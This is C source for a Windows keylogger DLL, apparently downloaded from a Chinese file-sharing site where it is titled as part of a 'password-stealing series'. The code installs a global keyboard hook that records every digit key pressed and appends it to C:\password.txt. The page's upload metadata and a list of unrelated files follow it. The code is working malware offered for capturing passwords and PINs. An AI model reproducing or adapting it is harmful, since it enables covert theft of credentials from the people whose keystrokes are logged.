#include"dll.h"
static HHOOK hhook;
static HINSTANCE hMod;
LRESULT CALLBACK KeyProc(int nCode,WPARAM wParam,LPARAM lParam);
void read(char str);
BOOL _stdcall DllMain(HINSTANCE hInst,DWORD reason,LPVOID reserve)
{
if(reason==DLL_PROCESS_ATTACH)
{
hMod=hInst;
}
return TRUE;
}
LRESULT CALLBACK KeyProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char str;
if(nCode==HC_ACTION&&lParam>0)
{
//主键盘上数字键
if(wParam==0x30)
{
str='0';
read(str);
}
if(wParam==0x31)
{
str='1';
read(str);
}
if(wParam==0x32)
{
str='2';
read(str);
}
if(wParam==0x33)
{
str='3';
read(str);
}
if(wParam==0x34)
{
str='4';
read(str);
}
if(wParam==0x35)
{
str='5';
read(str);
}
if(wParam==0x36)
{
str='6';
read(str);
}
if(wParam==0x37)
{
str='7';
read(str);
}
if(wParam==0x38)
{
str='8';
read(str);
}
if(wParam==0x39)
{
str='9';
read(str);
}
}
return CallNextHookEx(hhook,nCode,wParam,lParam);
}
extern "C" __declspec(dllexport) int Install()
{
if(!(hhook=SetWindowsHookEx(WH_KEYBOARD,KeyProc,hMod,NULL)))
{
return 0;
}
return 1;
}
extern "C" __declspec(dllexport) void Remove()
{
UnhookWindowsHookEx(hhook);
}
void read(char str)
{
FILE *fp;
fp=fopen("C:\\password.txt","a+");
fputc(str,fp);
fclose(fp);
}
盗密码系列之键盘钩子VC版
需积分: 10 177 浏览量
2010-07-01
10:56:04
上传
评论
收藏 10KB RAR 举报
VirtualRookit
- 粉丝: 4
- 资源: 12
最新资源
- 机械设计整经机上纱自动化sw20非常好的设计图纸100%好用.zip
- Screenshot_20240427_031602.jpg
- 网页PDF_2024年04月26日 23-46-14_QQ浏览器网页保存_QQ浏览器转格式(6).docx
- 直接插入排序,冒泡排序,直接选择排序.zip
- 在排序2的基础上,再次对快排进行优化,其次增加快排非递归,归并排序,归并排序非递归版.zip
- 实现了7种排序算法.三种复杂度排序.三种nlogn复杂度排序(堆排序,归并排序,快速排序)一种线性复杂度的排序.zip
- 冒泡排序 直接选择排序 直接插入排序 随机快速排序 归并排序 堆排序.zip
- 课设-内部排序算法比较 包括冒泡排序、直接插入排序、简单选择排序、快速排序、希尔排序、归并排序和堆排序.zip
- Python排序算法.zip
- C语言实现直接插入排序、希尔排序、选择排序、冒泡排序、堆排序、快速排序、归并排序、计数排序,并带图详解.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈